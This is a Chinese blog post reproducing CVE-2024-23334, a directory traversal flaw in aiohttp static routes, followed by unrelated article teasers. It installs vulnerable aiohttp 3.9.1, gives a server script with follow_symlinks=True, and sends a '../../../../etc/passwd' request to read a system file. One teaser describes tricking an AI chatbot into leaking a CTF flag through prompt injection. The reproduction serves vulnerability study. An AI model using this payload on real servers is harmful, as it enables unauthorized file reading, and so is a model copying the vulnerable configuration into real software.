CVE-2024-23334 AIOHTTP 目录遍历漏洞复现

aiohttp简介

aiohttp 是一个基于 asyncio 实现的 Python HTTP 客户端和服务器框架。它提供了异步的 HTTP 客户端和服务器功能,能够处理高并发的网络请求。以下是关于 aiohttp 的一些重要特点和用途:

  1. 基于 asyncioaiohttp 是基于 Python 的 asyncio 模块开发的,因此它利用了 Python 3.5+ 中引入的异步编程能力,支持异步 I/O 操作。

  2. HTTP 客户端aiohttp 提供了一个强大的异步 HTTP 客户端,可以发送 HTTP 请求并处理响应。它支持 GET、POST 等各种 HTTP 请求方法,同时也支持异步文件上传和下载。

  3. HTTP 服务器:除了客户端功能,aiohttp 还可以用作 HTTP 服务器,可以构建基于 HTTP 协议的 Web 应用程序。它支持路由、中间件、模板渲染等常见的 Web 开发功能。

  4. WebSocket 支持aiohttp 还提供了对 WebSocket 的支持,可以轻松实现基于 WebSocket 的双向通信,用于实时通信或推送场景。

  5. 异步性能:由于采用了异步编程模型,aiohttp 在处理大量并发请求时表现出色,能够有效利用系统资源,提高性能。

  6. 灵活性aiohttp 提供了丰富的 API 和配置选项,使得开发者可以根据需求定制和扩展框架的功能,从而满足各种复杂的应用场景。

总的来说,aiohttp 是一个强大且灵活的异步 HTTP 客户端和服务器框架,适合用于构建高性能、高并发的网络应用程序,特别是在需要处理大量 I/O 操作的情况下能够发挥出色的效果。

CVE-2024-23334 漏洞简介

使用 aiohttp 作为 Web 服务器并配置静态路由时,需要指定静态文件的根路径。此外,选项“follow_symlinks”可用于确定是否遵循静态根目录之外的符号链接。当“follow_symlinks”设置为 True 时,不会进行验证来检查给定的文件路径是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使符号链接不存在也是如此。即,应用程序仅因安装代码而易受攻击,例如:

app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

影响版本

1.0.5<=aiohttp<3.9.2

漏洞复现

安装aiohttp库

pip install aiohttp==3.9.1

编写web启动文件

aiohttpServer.py

from aiohttp import web                        
async def index(request):             
    return web.Response(text="Hello, World!")             
             
app = web.Application()             
app.router.add_routes([             
    web.static("/static", "static/", follow_symlinks=True),             
])             
app.router.add_get('/', index)             
             
if __name__ == '__main__':             
    web.run_app(app, host='127.0.0.1', port=8080)

python3 aiohttpServer.py 启动服务

发送payload

​​​​​​​

 

GET /static/../../../../etc/passwd HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/427634.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

FAST-LIO系列-阅读笔记

近期&#xff0c;阅读了FAST-LIO、FAST-LIO2以及Faster_LIO论文&#xff0c;这三篇论文都属于滤波器的SLAM算法&#xff0c;下面记录一下三个工作的主要贡献和不同。 FAST-LIO 1.提出了一种计算效率高、鲁棒性强的激光雷达-惯性里程测量框架。使用紧密耦合的迭代扩展卡尔曼滤…

SuperPoint和SuperGlue 的算法介绍及学习应用经验分享

SuperPoint和SuperGlue 的算法介绍及学习应用经验分享 2024年01月03日 10:38186浏览 3喜欢 0评论 视频地址&#xff1a; SuperPoint和SuperGlue 的算法介绍及学习应用经验分享 好想 特征点匹配&#xff0c;为了计算位姿 特征点&#xff1a;关键点描述子&#xff08…

迅速上手:CentOS 系统下 SSH 服务配置指南

前言 掌握 SSH 服务&#xff0c;就像拥有了一把解锁网络世界的钥匙。本文深入浅出地介绍了如何使用 SSH&#xff08;Secure Shell&#xff09;服务&#xff0c;从连接远程服务器到安全文件传输&#xff0c;让你轻松驾驭远程管理与数据传输&#xff0c;提高工作效率&#xff0c…

玩转地下管网三维建模:MagicPipe3D系统

地下管网是保障城市运行的基础设施和“生命线”。随着实景三维中国建设的推进&#xff0c;构建地下管网三维模型与地上融合的数字孪生场景&#xff0c;对于提升智慧城市管理至关重要&#xff01;针对现有三维管线建模数据差异大、建模交互弱、模型效果差、缺乏语义信息等缺陷&a…

力扣 第 387 场周赛 解题报告 | 珂学家 | 离散化树状数组 + 模拟场

前言 整体评价 手速场模拟场&#xff0c;思路和解法都蛮直接的。 所以搞点活 如果T2&#xff0c;如果不固定左上角&#xff0c;批量查询某个点为左上角&#xff0c;求满足总和 ≤ k \le k ≤k的子矩阵个数 如果T2&#xff0c;如果不固定左上角&#xff0c;求总和 ≤ k \le k…

20款Visual Studio实用插件推荐

前言 俗话说的好工欲善其事必先利其器&#xff0c;安装一些实用的Visual Studio插件对自己日常的开发和工作效率能够大大的提升&#xff0c;避免996从选一款好的IDE实用插件开始。以下是我认为比较实用的Visual Studio插件&#xff0c;希望对大家有所帮助。 各位小伙伴有更好的…

Redis安全加固策略:绑定Redis监听的IP地址 修改默认端口 禁用或者重命名高危命令

Redis安全加固策略&#xff1a;绑定Redis监听的IP地址 & 修改默认端口 & 禁用或者重命名高危命令 1.1 绑定Redis监听的IP地址1.2 修改默认端口1.3 禁用或者重命名高危命令1.4 附&#xff1a;redis配置文件详解&#xff08;来源于网络&#xff09; &#x1f496;The Beg…

[HGAME 2024 WEEK3] Misc 与ai聊天

[HGAME 2024 WEEK3] Misc 与ai聊天 题目描述&#xff1a;跟他聊一聊吧&#xff0c;从他嘴里翘出flag 开题&#xff0c;这种一般是提示词注入漏洞。简而言之就是骗。 失败的案例 成功的案例

论文阅读:基于超像素的图卷积语义分割(图结构数据)

#Superpixel-based Graph Convolutional Network for Semantic Segmentation github链接 引言 GNN模型根据节点特征周围的边来训练节点特征&#xff0c;并获得最终的节点嵌入。通过利用具有不同滤波核的二维卷积对来自附近节点的信息进行整合&#xff0c;给定超像素方法生成的…

基于hyperleger fabric区块链的校园化妆品交易平台搭建(完整源码+详细文档+解析讲解)

基于hyperleger fabric区块链的校园化妆品交易平台搭建 源码资料等获取方式在文章末尾 一、大数据与区块链解决方案概述 选题背景: 目前不少同学在校园里进行二手交易没有一个大众认可的平台&#xff0c;很多都是私下交易&#xff0c;但会存在很多虚假交易&#xff0c;甚至出…

代码随想录算法训练营第八天

344. 反转字符串 方法&#xff1a; 方法一&#xff1a; 直接用reverse函数 注意&#xff1a; 代码&#xff1a; class Solution { public:void reverseString(vector<char>& s) {return reverse(s.begin(), s.end());} };运行结果&#xff1a; 方法&#xff1…

学习408之数据结构--线性表-顺序表 学会动态顺序表的创建

线性表 线性表(inear list)是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构&#xff0c;常见的线性表&#xff1a;顺序表、链表、栈、队列、字符串等 线性表在逻辑上是线性结构&#xff0c;也就说是连续的一条直线。但是在物理结构上并不一定…

视频生成模型Sora的全面解析:从AI绘画、ViT到ViViT、DiT、VDT、NaViT、VideoPoet

视频生成模型Sora的全面解析&#xff1a;从AI绘画、ViT到ViViT、DiT、VDT、NaViT、VideoPoet 真没想到&#xff0c;举例视频生成上一轮的集中爆发才过去三个月&#xff0c;没想OpenAI一出手&#xff0c;该领域又直接变天了自打2.16日OpenAI发布sora以来&#xff0c;不但把同时…

论文阅读_代码生成模型_CodeGeeX

英文名称: CodeGeeX: A Pre-Trained Model for Code Generation with Multilingual Evaluations on HumanEval-X 中文名称: CodeGeeX&#xff1a;一种用于代码生成的预训练模型&#xff0c;并在HumanEval-X上进行多语言评估 链接: https://arxiv.org/abs/2303.17568 代码: http…

政务浏览器——打通信创闭环最后一公里

当前&#xff0c;信创建设工作主要集中在芯片、操作系统、数据库以及pc整机&#xff0c;这些领域基本可用&#xff0c;或者达到了市场主流水平。但是&#xff0c;政务办事场景下的信创落地仍然困难重重&#xff0c;很多地方不得不装双系统或买两台设备来来平衡日常业务和信创考…

CentOS部署FastDFS+Nginx并实现远程访问本地服务器中文件

文章目录 前言1. 本地搭建FastDFS文件系统1.1 环境安装1.2 安装libfastcommon1.3 安装FastDFS1.4 配置Tracker1.5 配置Storage1.6 测试上传下载1.7 与Nginx整合1.8 安装Nginx1.9 配置Nginx 2. 局域网测试访问FastDFS3. 安装cpolar内网穿透4. 配置公网访问地址5. 固定公网地址5.…

盘点全网哪些超乎想象的高科技工具?有哪些免费开源的最新AI智能工具?短视频自媒体运营套装?

盘点全网哪些超乎想象的高科技工具&#xff1f;有哪些免费开源的最新AI智能工具&#xff1f;短视频自媒体运营套装&#xff1f; 自媒体主要用来干什么&#xff1f; 可以通过短视频吸引更多的观众和粉丝&#xff0c;提升自媒体账号的影响力和知名度。 短视频形式更加生动、直观…

MySQL-----视图

一 视图 ▶ 介绍 视图view是一个虚拟表&#xff0c;非真实存在&#xff0c;其本质是根据SQL语句获取动态的数据集&#xff0c;并为其命名&#xff0c;用户使用时只需使用视图名称即可获取结果集&#xff0c;并可以将其当作表来使用。 数据库中存放了视图的定义&…

windows环境下Grafana+loki+promtail入门级部署日志系统,收集Springboot(Slf4j+logback)项目日志

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; 往期热门专栏回顾 专栏…

HarmonyOS—开启AOT编译模式

AOT&#xff08;Ahead Of Time&#xff09;即提前编译&#xff0c;能够在Host端&#xff08;即运行DevEco Studio的电脑&#xff09;将字节码提前编译成Target端&#xff08;即运行应用的设备&#xff09;可运行的机器码&#xff0c;这样字节码可以获得充分编译优化&#xff0c…